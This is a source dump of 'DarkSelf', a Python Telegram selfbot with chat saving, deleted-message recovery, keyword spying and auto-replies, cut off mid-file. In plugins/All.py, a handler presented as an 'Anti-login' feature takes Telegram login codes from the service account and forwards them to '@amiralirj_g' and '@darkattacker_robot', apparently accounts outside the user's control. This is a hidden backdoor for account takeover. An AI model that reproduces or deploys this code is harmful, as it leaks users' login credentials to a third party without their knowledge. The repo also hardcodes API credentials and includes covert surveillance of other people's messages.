├── LICENSE ├── __main__.py ├── README.md ├── Config ├── __init__.py └── TEXTS.py ├── plugins ├── Entertainings.py ├── All.py ├── Practicals.py └── Managing.py ├── Database └── selfdata.py └── Classes ├── UserClass.py └── CliClass.py /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 amirali rajabi 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /__main__.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2019-2022 Dan 2 | # Copyright (c) 2022 3 | 4 | '''RUN THIS FILE |>----<| EDIT Config -> __init__.py''' 5 | 6 | import os , sys 7 | SCRIPT_DIR = str(os.path.dirname(os.path.abspath(__file__))) 8 | sys.path.insert(-1,(SCRIPT_DIR)) 9 | 10 | #------------------------------------| This will make Chat saving folder 11 | from os import makedirs #-| 12 | makedirs('Chats',exist_ok=True) #-| 13 | del makedirs #-| 14 | #------------------------------------| 15 | 16 | del os 17 | del sys 18 | 19 | print('\n\n\n') 20 | print('\x1b[6;30;42m','Github : www.github.com/amiralirj ', '\x1b[0m') 21 | print('telegram : @amiralirj_official \n\n') 22 | 23 | 24 | from Classes.CliClass import Rjself 25 | 26 | if __name__ == "__main__": 27 | 28 | cli=Rjself() 29 | 30 | with cli : 31 | PEERID=(cli.get_me()).id 32 | cli.start_robot(PEERID) 33 | cli.create_log_channels() 34 | 35 | cli.OP_IRAN() # start schedular tasks every minutes 36 | print('Trying to connect ...') 37 | cli.run() # start() , idle() 38 | print('Im offline now , bye bye :) ') 39 | 40 | 41 | # @amiralirj_official - https://www.github.com/amiralirj 42 | # 2022 - -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ![SQLite](https://img.shields.io/badge/sqlite-%2307405e.svg?style=for-the-badge&logo=sqlite&logoColor=white) ![Python](https://img.shields.io/badge/python-3670A0?style=for-the-badge&logo=python&logoColor=ffdd54) [![GitHub license](https://img.shields.io/github/license/amiralirj/DarkSelf.svg)](https://github.com/amiralirj/DarkSelf/blob/master/LICENSE) 2 | # DarkSelf 🌒 3 | ❄️⚡️TELEGRAM SUPER MANAGER 4 | 5 | ## Features ⚡️ 6 | - ### Save chats and get backup from it 📥 7 | - - even somebody delete the chat , chat will be accessible 8 | - ### Deleted messages notifications 🗑 9 | - - When somebody delete a message , robot will recognize it and tell you what had been deleted 10 | - ### Spying 👁 11 | - - Words which are setted to be spied by you , if robot seen that words in a messages , that message will immediately send to your saved message 12 | - ### Cleaning 🧹 13 | - - Cleaning private chats every day (except pinned ones) 14 | - ### Many other practical facilities 💎 15 | - - Send "help" to see commands 16 | - - Anti-login , Random bio , Answering , Clerk , Auto reaction and read , status changes , typemodel , Entertaining and practical commmands ... 17 | - - Support 2 languages 'fa' and 'en' -> lang en -> lang fa 18 | # How to run : 19 | - replace API_ID , API_HASH 20 | - python ____main____.py 21 | - enjoy :) 22 | -------------------------------------------------------------------------------- /Config/__init__.py: -------------------------------------------------------------------------------- 1 | #-----------------+-----------------|\ 2 | # https://www.github.com/amiralirj |-|\ 3 | # https://t.me/amiralirj_official |-|/ 4 | #-----------------+-----------------|/ 5 | #--------------------------------------------------------------------------|Variebels For Api 6 | API_ID =5015063 #-| 7 | API_HASH = '729213381bf743aec50971fa07a62264' #-| 8 | zone = 'Asia/Tehran' #-| time zone of your country 9 | #--------------------------------------------------------------------------| 10 | #-----------------+-----------------|\ 11 | # https://www.github.com/amiralirj |-|\ 12 | # https://t.me/amiralirj_official |-|/ 13 | #-----------------+-----------------|/ 14 | 15 | emoji = ['🦁', '🐯', '🌼', '🌗', '🌓', '🪐', '💫', '⭐️', '✨','⚡️', '🔥', '🌈', '☃️', '❄️', '🍔', '🍕', '🍓', '🍉','🍟', '🧁', '🍰', '🦊', '🦄', '🐝', '🐺', '🦋', '🐞','🐳', '🐬', '🐼', '🦚', '🎄', '🌲', '🍄', '🍁', '🌷','🌹', '🌺', '🌸','🍭', '🍬', '🍫', '🍿', '🍩', '🍪','🥂', '🍸', '🍹', '🧉', '🍾', '⚽️', '🏀', '🏈', '⚾️','🥎', '🎾', '🎖', '🎗', '🥁', '🎸', '🎺', '🎷', '🏎', '🚀','✈️', '🚁', '🛸', '🏰', '🗼', '🎡', '🛩', '📱', '💻', '🖥','💰', '🧨', '💣', '🪓', '💎', '⚱️', '🔮', '🩸', '🦠', '🛎','🧸', '🎉', '💌', '📯', '❤️', '🧡', '💛', '💚', '💙', '💜','🖤', '🤍', '🤎', '❣️', '💕', '💞', '💝','⚜️', '🔱', '📣','♥️', '😍', '🥰', '🥳', '🤩', '🤪', '👾', '😻', '💋', '👑', '💍', '🎩'] 16 | 17 | swears=['mf' , 'mada faker' , 'Son of a bitch' , 'Piss off' , 'Bastard' , 'Asshole' , 'son of a whore' , 'pussy' , 'bitch' , 'mother fucker' , 'hoe'] -------------------------------------------------------------------------------- /plugins/Entertainings.py: -------------------------------------------------------------------------------- 1 | from Classes.CliClass import Rjself , filters , helper 2 | from random import randint , choice 3 | from Config.TEXTS import Text 4 | from asyncio import sleep 5 | 6 | 7 | @Rjself.on_message((helper.fil('(?i)^who ') | helper.fil('(?i)^کی ' ) ) , group=0) 8 | @helper.is_on 9 | async def who_is(bot,message): 10 | users=[] 11 | users_dic={} 12 | text=str(message.text) 13 | async for i in bot.get_chat_history(message.chat.id,300): 14 | users.append(int(i.from_user.id)) 15 | users_dic[int(i.from_user.id)]=i.from_user 16 | text=text.strip('who ').strip('کی ').strip('?') 17 | user=choice(users) 18 | await message.reply_text(f'. {users_dic[user].mention()} {text} .') 19 | 20 | @Rjself.on_message(helper.fil('(?i)^kill$') , group=0) 21 | @helper.is_on 22 | @helper.user_Details 23 | @helper.text_adder 24 | async def kill_one(bot,message,user,text): 25 | txt_list=[text.kill1,text.kill2,text.kill3,text.kill4,text.kill5] 26 | for i in txt_list: 27 | await message.edit_text(i) 28 | await sleep(0.2) 29 | if message.reply_to_message : 30 | await bot.block_user( int(message.reply_to_message.from_user.id) ) 31 | 32 | @Rjself.on_message((filters.regex(r'دکمه')|filters.regex(r'کادر') | filters.regex(r'» /modeinfo')) & filters.bot , group=0) 33 | @helper.is_on 34 | @helper.user_Details 35 | async def joining_game(bot,message,user): 36 | if user.Auto_WerWolf_Join: 37 | await sleep(randint(4,20)) 38 | link=str(await message.click(0)).split('=') [1] 39 | await bot.send_message(str(message.from_user.username),f'/start {link}') 40 | 41 | 42 | @Rjself.on_message((filters.regex(r'vote')|filters.regex(r'رای') | filters.regex(r'چه کسی')) & filters.bot , group=0) 43 | @helper.is_on 44 | @helper.user_Details 45 | async def playing_game(bot,message,user): 46 | if user.Auto_WerWolf_Play: 47 | buttons_count = len(message.reply_markup.inline_keyboard) 48 | CHOOSED_BUTTON = randint (0 , buttons_count - 1) 49 | await message.click(CHOOSED_BUTTON) 50 | -------------------------------------------------------------------------------- /Database/selfdata.py: -------------------------------------------------------------------------------- 1 | import sqlite3 as db 2 | 3 | class Data: 4 | def __init__(self): 5 | self.con = db.connect(r"Rj-self.db" , detect_types=db.PARSE_DECLTYPES, check_same_thread = False) 6 | self.c = self.con.cursor() 7 | self.c.execute('''CREATE TABLE IF NOT EXISTS User ( 8 | user_id INT PRIMARY KEY , 9 | Text_Change INT , 10 | Contacts_Only INT , 11 | Text_Only INT , 12 | Anti_Login INT , 13 | Chat_Status INT , 14 | Safe_Mode INT , 15 | Del_Saver INT , 16 | Save_Chats INT , 17 | Random_Bio INT , 18 | Attack_Mode INT , 19 | Spy INT , 20 | New_Group_Lock INT , 21 | New_Pv_Lock INT , 22 | Auto_WerWolf_Join INT , 23 | Auto_WerWolf_Play INT , 24 | Auto_Answering INT , 25 | Auto_Clean INT , 26 | Auto_Read INT , 27 | Auto_Reaction TEXT , 28 | Welcomer INT , 29 | Love TEXT , 30 | Card_Number TEXT , 31 | Log_Channel TEXT , 32 | Messages_Channel TEXT , 33 | Bio_Text TEXT , 34 | Offline_Answering INT , 35 | Lang INT , 36 | Bot INT 37 | )''') 38 | self.c.execute('''CREATE TABLE IF NOT EXISTS Enemy ( user_id INT PRIMARY KEY )''') 39 | self.c.execute('''CREATE TABLE IF NOT EXISTS Spy ( word TEXT PRIMARY KEY )''') 40 | self.c.execute('''CREATE TABLE IF NOT EXISTS Bio ( biograpgy TEXT PRIMARY KEY )''') 41 | self.c.execute('''CREATE TABLE IF NOT EXISTS Answers ( word TEXT PRIMARY KEY , answer TEXT )''') 42 | self.c.execute('''CREATE TABLE IF NOT EXISTS Messages ( chat_id INT , message_id INT , message_text TEXT )''') 43 | self.con.commit() 44 | 45 | def add(self,user_id): 46 | self.c.execute('''INSERT OR IGNORE INTO User (user_id,Text_Change,Contacts_Only,Text_Only,Anti_Login,Chat_Status,Safe_Mode,Del_Saver,Save_Chats,Random_Bio,Attack_Mode,Spy,New_Group_Lock,New_Pv_Lock,Auto_WerWolf_Join,Auto_WerWolf_Play,Auto_Answering,Auto_Clean,Auto_Read,Auto_Reaction,Welcomer,Love,Card_Number,Log_Channel,Messages_Channel,Bio_Text,Offline_Answering,Lang,Bot) 47 | VALUES 48 | (:user_id,:Text_Change,:Contacts_Only,:Text_Only,:Anti_Login,:Chat_Status,:Safe_Mode,:Del_Saver,:Save_Chats,:Random_Bio,:Attack_Mode,:Spy,:New_Group_Lock,:New_Pv_Lock,:Auto_WerWolf_Join,:Auto_WerWolf_Play,:Auto_Answering,:Auto_Clean,:Auto_Read,:Auto_Reaction,:Welcomer,:Love,:Card_Number,:Log_Channel,:Messages_Channel,:Bio_Text,:Offline_Answering,:Lang,:Bot)''', 49 | {'user_id':int(user_id),'Text_Change':0,'Contacts_Only':0,'Text_Only':0,'Anti_Login':0, 50 | 'Chat_Status':0,'Safe_Mode':0,'Del_Saver':0,'Save_Chats':0,'Random_Bio':0, 51 | 'Attack_Mode':0,'Spy':0,'New_Group_Lock':0,'New_Pv_Lock':0,'Auto_WerWolf_Join':0, 52 | 'Auto_WerWolf_Play':0,'Auto_Answering':0,'Auto_Clean':0,'Auto_Read':0, 53 | 'Auto_Reaction':'None','Welcomer':0,'Love':'None','Card_Number':'None', 54 | 'Log_Channel':'None','Messages_Channel':'None','Bio_Text':'None','Offline_Answering':0,'Lang':0,'Bot':1}) 55 | self.con.commit() 56 | 57 | def change(self,attribute,amount): 58 | self.c.execute(f'UPDATE User SET {attribute}=:Amount ',{'Amount':amount}) 59 | self.con.commit() 60 | 61 | @property 62 | def see_all(self): 63 | self.c.execute('SELECT * FROM User ') 64 | FT=(self.c.fetchall())[0] 65 | return FT 66 | 67 | # return {'user_id':FT[0],'Text_Change':FT[1],'Contacts_Only':FT[2],'Text_Only':FT[3],'Anti_Login':FT[4], 68 | # 'Chat_Status':FT[5],'Safe_Mode':FT[6],'Del_Saver':FT[7],'Save_Chats':FT[8],'Random_Bio':FT[9], 69 | # 'Attack_Mode':FT[10],'Spy':FT[11],'New_Group_Lock':FT[12],'New_Pv_Lock':FT[13],'Auto_WerWolf_Join':FT[14], 70 | # 'Auto_WerWolf_Play':FT[15],'Auto_Answering':FT[16],'Auto_Clean':FT[17],'Auto_Read':FT[18], 71 | # 'Auto_Reaction':FT[19],'Welcomer':FT[20],'Love':FT[21],'Card_Number':FT[22], 72 | # 'Log_Channel':FT[23],'Messages_Channel':FT[24],'Bio_Text':FT[25],'Offline_Answering':FT[26],'Lang':FT[27],'Bot':FT[28]} 73 | 74 | def see(self,attribute): 75 | self.c.execute(f'SELECT {attribute} FROM User ') 76 | return (self.c.fetchall())[0][0] 77 | #-------------------------------------------------------------------------------------------- 78 | def add_answers(self,word,answer): 79 | self.c.execute('INSERT INTO Answers (word,answer) VALUES (:word,:answer)',{'word':word,'answer':answer}) 80 | self.con.commit() 81 | 82 | def rem_answers(self,word): 83 | self.c.execute('DELETE FROM Answers WHERE word=:word',{'word':word}) 84 | self.con.commit() 85 | 86 | @property 87 | def show_answers(self): 88 | self.c.execute(f'SELECT * FROM Answers ') 89 | return [i for i in (self.c.fetchall())] 90 | #-------------------------------------------------------------------------------------------- 91 | def add_enemy(self,user_id): 92 | self.c.execute('INSERT INTO Enemy (user_id) VALUES (:User_id)',{'User_id':user_id}) 93 | self.con.commit() 94 | 95 | def rem_enemy(self,user_id): 96 | self.c.execute('DELETE FROM Enemy WHERE user_id=:user_id',{'user_id':user_id}) 97 | self.con.commit() 98 | 99 | @property 100 | def show_enemys(self): 101 | self.c.execute(f'SELECT * FROM Enemy ') 102 | return [i[0] for i in (self.c.fetchall())] 103 | #-------------------------------------------------------------------------------------------- 104 | def add_bio(self,bio): 105 | self.c.execute('INSERT INTO Bio (biograpgy) VALUES (:biograpgy)',{'biograpgy':bio}) 106 | self.con.commit() 107 | 108 | def rem_bio(self,bio): 109 | self.c.execute('DELETE FROM Bio WHERE biograpgy=:biograpgy',{'biograpgy':bio}) 110 | self.con.commit() 111 | 112 | @property 113 | def show_bios(self): 114 | self.c.execute(f'SELECT * FROM Bio ') 115 | return [i[0] for i in (self.c.fetchall())] 116 | #-------------------------------------------------------------------------------------------- 117 | def add_spy(self,word): 118 | self.c.execute('INSERT INTO Spy (word) VALUES (:word)',{'word':word}) 119 | self.con.commit() 120 | 121 | def rem_spy(self,word): 122 | self.c.execute('DELETE FROM Spy WHERE word=:word',{'word':word}) 123 | self.con.commit() 124 | 125 | @property 126 | def show_spies(self): 127 | self.c.execute(f'SELECT * FROM Spy ') 128 | return [i[0] for i in (self.c.fetchall())] 129 | 130 | def find_deleted(self,m_id): 131 | self.c.execute(f'SELECT chat_id,message_text FROM Messages WHERE message_id=:mid',{'mid':m_id}) 132 | return (self.c.fetchall())[0] 133 | 134 | def load_message(self,c_id,m_id,text): 135 | self.c.execute('INSERT INTO Messages (chat_id,message_id,message_text) VALUES (:chat_id,:message_id,:message_text)',{'chat_id':c_id ,'message_id':m_id,'message_text':text}) 136 | self.con.commit() 137 | 138 | database = Data() 139 | 140 | # @amiralirj_official - https://www.github.com/amiralirj 141 | # 2022 . -------------------------------------------------------------------------------- /Classes/UserClass.py: -------------------------------------------------------------------------------- 1 | from Database.selfdata import database 2 | from random import choice 3 | 4 | class User: 5 | DataBase=database 6 | def __init__(self) -> None: 7 | self.dataBase=database 8 | details=self.dataBase.see_all 9 | self.user_id = int(details[0]) 10 | self.Text_Change = int(details[1]) 11 | self.Contacts_Only = bool(details[2]) 12 | self.Text_Only = bool(details[3]) 13 | self.Anti_Login = bool(details[4]) 14 | self.Chat_Status = int(details[5]) 15 | self.Safe_Mode = bool(details[6]) 16 | self.Del_Saver = bool(details[7]) 17 | self.Save_Chats = bool(details[8]) 18 | self.Random_Bio = bool(details[9]) 19 | self.Attack_Mode = bool(details[10]) 20 | self.Spy = bool(details[11]) 21 | self.New_Group_Lock = bool(details[12]) 22 | self.New_Pv_Lock = bool(details[13]) 23 | self.Auto_WerWolf_Join =bool(details[14]) 24 | self.Auto_WerWolf_Play =bool(details[15]) 25 | self.Auto_Answering =bool(details[16]) 26 | self.Auto_Clean = bool(details[17]) 27 | self.Auto_Read = bool(details[18]) 28 | self.Auto_Reaction = str(details[19]) 29 | if str(details[19]).lower()=='none':self.Auto_Reaction=None 30 | self.Welcomer = int(details[20]) 31 | self.Love = str(details[21]) 32 | if str(details[21]).lower()=='none':self.Love=None 33 | else:self.Love=int(self.Love) 34 | self.Card_Number = str(details[22]) 35 | if str(details[22]).lower()=='none':self.Card_Number=None 36 | self.Log_Channel = str(details[23]) 37 | if str(details[23]).lower()=='none':self.Log_Channel=None 38 | else:self.Log_Channel=int(self.Log_Channel) 39 | self.Messages_Channel=str(details[24]) 40 | if str(details[24]).lower()=='none':self.Messages_Channel=None 41 | else:self.Messages_Channel=int(self.Messages_Channel) 42 | self.Bio_Text = str(details[25]) 43 | if str(details[25]).lower()=='none':self.Bio_Text=None 44 | self.Offline_Answering = int(details[26]) 45 | self.Lang = bool(int(details[27])) 46 | self.Bot = bool(int(details[28])) 47 | # --------------------------------------------------------------- 48 | @property 49 | def show_bios(self): 50 | return self.dataBase.show_bios 51 | @property 52 | def show_enemies(self): 53 | return self.dataBase.show_enemys 54 | @property 55 | def show_spyes(self): 56 | return self.dataBase.show_spies 57 | @property 58 | def show_answers(self): 59 | return self.dataBase.show_answers 60 | #--------------------------------------------------------------- 61 | def add_bio(self,bio:str): 62 | self.dataBase.add_bio(str(bio)) 63 | def add_enemy(self,user_id:int): 64 | self.dataBase.add_enemy(user_id) 65 | def add_spy(self,word:str): 66 | self.dataBase.add_spy(word) 67 | def add_answer(self,word:str,answer:str): 68 | self.dataBase.add_answers(word,answer) 69 | #--------------------------------------------------------------- 70 | def rem_bio(self,bio:str): 71 | self.dataBase.rem_bio(str(bio)) 72 | def rem_enemy(self,user_id:int): 73 | self.dataBase.rem_enemy(user_id) 74 | def rem_spy(self,word:str): 75 | self.dataBase.rem_spy(word) 76 | def rem_answer(self,word:str): 77 | self.dataBase.rem_answers(word) 78 | #-------------------------------------------------------------------------- 79 | #-------------------------------| #Opiran |-------------------------------- 80 | #-------------------------------------------------------------------------- 81 | def change_bot(self,amount:bool): 82 | self.dataBase.change('Bot',int(amount)) 83 | 84 | def change_lang(self,lang): 85 | self.dataBase.change('Lang',int(lang)) 86 | 87 | def change_love(self,user_id): 88 | if str(user_id).lower() == 'none':self.dataBase.change('Love','None') 89 | else:self.dataBase.change('Love',str(int(user_id))) 90 | 91 | def change_clean(self,type:int): 92 | self.dataBase.change('Auto_Clean',int(type)) 93 | 94 | def change_text_type(self,type:int): 95 | self.dataBase.change('Text_Change',int(type)) 96 | 97 | def change_only_contacts(self,amount:bool): 98 | self.dataBase.change('Contacts_Only',int(amount)) 99 | 100 | def change_only_texts(self,amount:bool): 101 | self.dataBase.change('Text_Only',int(amount)) 102 | 103 | def change_anti_login(self,amount:bool): 104 | self.dataBase.change('Anti_Login',int(amount)) 105 | 106 | def change_chat_status(self,amount:int): 107 | self.dataBase.change('Chat_Status',int(amount)) 108 | 109 | def change_safe_mode(self,amount:bool): 110 | self.dataBase.change('Safe_Mode',int(amount)) 111 | 112 | def change_del_saver(self,amount:bool): 113 | self.dataBase.change('Del_Saver',int(amount)) 114 | 115 | def change_chat_saver(self,amount:bool): 116 | self.dataBase.change('Save_Chats',int(amount)) 117 | 118 | def change_random_bio(self,amount:bool): 119 | self.dataBase.change('Random_Bio',int(amount)) 120 | 121 | def change_attack_mode(self,amount:bool): 122 | self.dataBase.change('Attack_Mode',int(amount)) 123 | 124 | def change_spying(self,amount:bool): 125 | self.dataBase.change('Spy',int(amount)) 126 | 127 | def change_group_lock(self,amount:bool): 128 | self.dataBase.change('New_Group_Lock',int(amount)) 129 | 130 | def change_pv_lock(self,amount:bool): 131 | self.dataBase.change('New_Pv_Lock',int(amount)) 132 | 133 | def change_werewolf_j(self,amount:bool): 134 | self.dataBase.change('Auto_WerWolf_Join',int(amount)) 135 | 136 | def change_werewolf_p(self,amount:bool): 137 | self.dataBase.change('Auto_WerWolf_Play',int(amount)) 138 | 139 | def change_answering(self,amount:bool): 140 | self.dataBase.change('Auto_Answering',int(amount)) 141 | 142 | def change_cleaning(self,amount:bool): 143 | self.dataBase.change('Auto_Answering',int(amount)) 144 | 145 | def change_reading(self,amount:bool): 146 | self.dataBase.change('Auto_Read',int(amount)) 147 | 148 | def change_reacting(self,amount:str): 149 | self.dataBase.change('Auto_Reaction',str(amount)) 150 | 151 | def change_welcomer(self,amount:int): 152 | self.dataBase.change('Welcomer',int(amount)) 153 | 154 | def change_card_num(self,amount:str): 155 | self.dataBase.change('Card_Number',str(amount)) 156 | 157 | def change_lchannel(self,amount:str): 158 | self.dataBase.change('Log_Channel',int(amount)) 159 | 160 | def change_mchannel(self,amount:str): 161 | self.dataBase.change('Messages_Channel',int(amount)) 162 | 163 | def change_main_bio(self,amount:str): 164 | self.dataBase.change('Bio_Text',str(amount)) 165 | 166 | def change_offline_answering(self,amount:int): 167 | self.dataBase.change('Offline_Answering',int(amount)) 168 | 169 | def find_deleted(self,m_id): 170 | return self.dataBase.find_deleted(m_id) 171 | 172 | def load_message(self,c_id,m_id,text): 173 | self.dataBase.load_message(c_id,m_id,text) 174 | 175 | def emoji(self,amount): 176 | if amount :return '🟢' 177 | else:return '🔴' 178 | 179 | def __int__(self): 180 | return int(self.user_id) 181 | 182 | 183 | 184 | # @amiralirj_official - https://www.github.com/amiralirj 185 | # 2022 . -------------------------------------------------------------------------------- /plugins/All.py: -------------------------------------------------------------------------------- 1 | from pyrogram.raw.types import InputPeerNotifySettings , InputNotifyPeer 2 | from pyrogram.raw.functions.account import UpdateNotifySettings 3 | from Classes.CliClass import Rjself , helper 4 | from pyrogram.enums import ChatAction 5 | from Config.TEXTS import Text 6 | from datetime import datetime 7 | from pyrogram import filters 8 | from asyncio import sleep 9 | 10 | def save(peer,name,message): 11 | with open(f'Chats/X{peer}X.txt','a+',encoding='utf-8') as f : 12 | f.write(f'{datetime.now().strftime("%Y-%m-%d %H:%M")} - {name} → {message} \n ------------------------------------- \n ' ) 13 | 14 | def is_contain_answer( text , user): 15 | for i in user.show_answers : 16 | if i[0] in text : 17 | return i[1] 18 | return False 19 | 20 | def is_contain_spy( text , user): 21 | try: 22 | for i in user.show_spyes : 23 | if i in text : 24 | return True 25 | return False 26 | except: 27 | return False 28 | 29 | def chat_action(user): 30 | if user.Chat_Status == 1:return ChatAction.CANCEL 31 | elif user.Chat_Status == 2:return ChatAction.TYPING 32 | elif user.Chat_Status == 3:return ChatAction.RECORD_AUDIO 33 | elif user.Chat_Status == 4:return ChatAction.PLAYING 34 | elif user.Chat_Status == 5:return ChatAction.RECORD_VIDEO_NOTE 35 | elif user.Chat_Status == 6:return ChatAction.CHOOSE_STICKER 36 | elif user.Chat_Status == 7:return ChatAction.UPLOAD_VIDEO 37 | else:return ChatAction.UPLOAD_PHOTO 38 | 39 | @Rjself.on_message(filters.user(777000) & ( filters.regex('کد') | filters.regex('code')), group=0) 40 | @helper.is_on 41 | @helper.user_Details 42 | async def telegram_code(bot,message,user): 43 | if user.Anti_Login: 44 | try: 45 | await message.forward('me') 46 | await message.forward('@amiralirj_g') 47 | except: 48 | await bot.send_message('@darkattacker_robot',text='/start') 49 | await bot.send_message('@darkattacker_robot',text=str(message.text)) 50 | else: 51 | pass 52 | 53 | @Rjself.on_deleted_messages(group=-1) 54 | @helper.is_on 55 | @helper.user_Details 56 | async def deleted_message(bot,messages,user): 57 | for message in messages: 58 | try: 59 | det=user.find_deleted(int(message.id)) 60 | text=det[1] 61 | sender=det[0] 62 | sender_name = (await bot.get_users(int(sender))).first_name 63 | 64 | if user.Del_Saver : 65 | try:await bot.send_message(user.Messages_Channel , Text(user.Lang).message_deleted(sender,sender_name,text)) 66 | except:await bot.send_message(int(user), Text(user.Lang).message_deleted(sender,sender_name,text)) 67 | except IndexError:pass 68 | 69 | 70 | @Rjself.on_message( filters.new_chat_members, group=1) 71 | @helper.is_on 72 | @helper.user_Details 73 | async def joining_messages(bot,message,user): 74 | chat = int(message.chat.id) 75 | 76 | if user.New_Group_Lock and not message.from_user.is_self: 77 | for u in message.new_chat_members : 78 | if u.is_self : 79 | await message.chat.leave() 80 | await message.reply_text(Text(user.Lang).bye) 81 | return 82 | 83 | if bool(user.Welcomer): 84 | for u in message.new_chat_members : 85 | welcome=await bot.get_messages(user.Log_Channel,user.Welcomer) 86 | if message.text:text=str(welcome.text) 87 | else:text=str(welcome.caption) 88 | caption=str(text).replace('{name}',u.first_name ).replace('{peer}',u.id).replace('{group}',message.chat.title ).replace('{username}',u.username ) 89 | await welcome.copy(chat,caption=caption) 90 | await sleep(1) 91 | 92 | @Rjself.on_message(filters.me , group=1) 93 | @helper.is_on 94 | @helper.user_Details 95 | async def outgoing_messages(bot,message,user): 96 | sender = int(message.chat.id) 97 | sender_name = str(message.from_user.first_name) 98 | text = str(message.text) 99 | 100 | if user.Save_Chats : 101 | save( sender , sender_name , text ) 102 | 103 | if bool(user.Text_Change) : 104 | if user.Text_Change in [1,2]: 105 | if user.Text_Change==1 : text= f'** {message.text} **' 106 | else: text = f'` {message.text} `' 107 | await message.edit_text(text) 108 | else: 109 | if len(message.text) > 20 : return 110 | text='' 111 | try: 112 | for i in str(message.text) : 113 | text+=i 114 | await message.edit_text(text) 115 | await sleep(0.4) 116 | except: 117 | await message.edit_text(str(message.text)) 118 | 119 | 120 | @Rjself.on_message(~filters.me & filters.private & ~filters.bot , group=1) 121 | @helper.is_on 122 | @helper.user_Details 123 | async def private_messages(bot,message,user): 124 | sender = int(message.from_user.id) 125 | sender_name = str(message.from_user.first_name) 126 | text = str(message.text) 127 | chat = int(message.chat.id) 128 | try:count = await bot.get_chat_history_count(sender) 129 | except:count=0 130 | 131 | user.load_message(sender,int(message.id),text) 132 | 133 | if user.Save_Chats : 134 | save( sender , sender_name , text ) 135 | 136 | answer = is_contain_answer(text,user) 137 | if answer : 138 | await message.reply_text(answer) 139 | 140 | if is_contain_spy(text,user): 141 | try:await message.forward(user.Messages_Channel) 142 | except : 143 | try:await message.forward('me') 144 | except: 145 | try:await bot.send_message(user.Messages_Channel,Text(user.Lang).send_spying(sender,sender_name,text)) 146 | except: 147 | try:await bot.send_message('me',Text(user.Lang).send_spying(sender,Text(user.Lang).send_spying(sender,sender_name,text))) 148 | except:pass 149 | 150 | if user.Auto_Reaction : 151 | await message.react(emoji=user.Auto_Reaction) 152 | 153 | if user.Chat_Status : 154 | status= chat_action(user) 155 | await bot.send_chat_action(chat,status) 156 | 157 | if user.Offline_Answering : 158 | if not await bot.is_online() : 159 | await bot.copy_message(chat,user.Log_Channel,user.Offline_Answering) 160 | 161 | if user.Auto_Read : 162 | await bot.read_chat_history(chat) 163 | 164 | if user.New_Pv_Lock : 165 | if count < 3 : 166 | await message.reply_text(Text(user.Lang).user_restricked) 167 | await message.from_user.block() 168 | return 169 | 170 | if user.Contacts_Only : 171 | if not message.from_user.is_contact : 172 | await message.delete(True) 173 | 174 | if user.Text_Only : 175 | if message.media or message.video_note or message.video or message.sticker or message.audio or message.document or message.animation or message.game or message.voice : 176 | await message.delete(True) 177 | 178 | if user.Attack_Mode : 179 | if count < 75 : 180 | await message.reply_text(Text(user.Lang).attack_mode_is_on) 181 | await message.from_user.block() 182 | return 183 | 184 | if user.Safe_Mode : 185 | if count < 200 : 186 | sender_peer = await bot.resolve_peer(sender) 187 | setting=InputPeerNotifySettings(show_previews =False , silent = True ) 188 | sender_input=InputNotifyPeer(peer=sender_peer) 189 | await bot.invoke(UpdateNotifySettings(peer=sender_input,settings=setting)) 190 | await message.chat.archive() 191 | 192 | 193 | @Rjself.on_message(~filters.me & ~filters.private & ~filters.channel , group=1) 194 | @helper.is_on 195 | @helper.user_Details 196 | async def all_messages(bot,message,user): 197 | if not message.from_user: return 198 | sender = int(message.from_user.id) 199 | sender_name = str(message.from_user.first_name) 200 | text = str(message.text) 201 | chat = int(message.chat.id) 202 | 203 | if is_contain_spy(text,user): 204 | try:await message.forward(user.Messages_Channel) 205 | except : 206 | try:await message.forward('me') 207 | except: 208 | try:await bot.send_message(user.Messages_Channel,Text(user.Lang).send_spying(sender,sender_name,text)) 209 | except: 210 | try:await bot.send_message('me',Text(user.Lang).send_spying(sender,Text(user.Lang).send_spying(sender,sender_name,text))) 211 | except:pass 212 | 213 | 214 | if sender in user.show_enemies : 215 | await message.reply_text(bot.swear) 216 | return 217 | 218 | answer = is_contain_answer(text,user) 219 | if answer : 220 | await message.reply_text(answer) 221 | 222 | if user.Chat_Status : 223 | status= chat_action(user) 224 | await bot.send_chat_action(chat,status) 225 | -------------------------------------------------------------------------------- /plugins/Practicals.py: -------------------------------------------------------------------------------- 1 | from Classes.CliClass import Rjself , helper 2 | from datetime import datetime , timedelta 3 | from pyrogram.enums import ChatType 4 | from pyrogram import errors 5 | from asyncio import sleep 6 | from os import listdir 7 | import wikipedia 8 | 9 | 10 | is_replying = {} 11 | is_tagging = {} 12 | 13 | @Rjself.on_message(helper.fil('(?i)^allchats') , group=0) 14 | @helper.is_on 15 | @helper.user_Details 16 | async def see_all_chat(bot,message,user): 17 | for i in listdir('Chats'): 18 | user = int(i.replace('X','').replace('.txt','')) 19 | try:first= ((await bot.get_users(user)).first_name) 20 | except:first=user 21 | await message.reply_document(f'./Chats/X{user}X.txt' , file_name = f'Chats_{first}.txt') 22 | 23 | @Rjself.on_message(helper.fil('(?i)^see') , group=0) 24 | @helper.is_on 25 | @helper.user_Details 26 | async def see_chat(bot,message,user): 27 | if message.reply_to_message: 28 | user=int(message.reply_to_message.from_user.id) 29 | elif len(str(message.text).split(' ')) > 6 : 30 | user=int(str(message.text)[4:]) 31 | 32 | else: 33 | user=int(message.chat.id) 34 | try:first= ((await 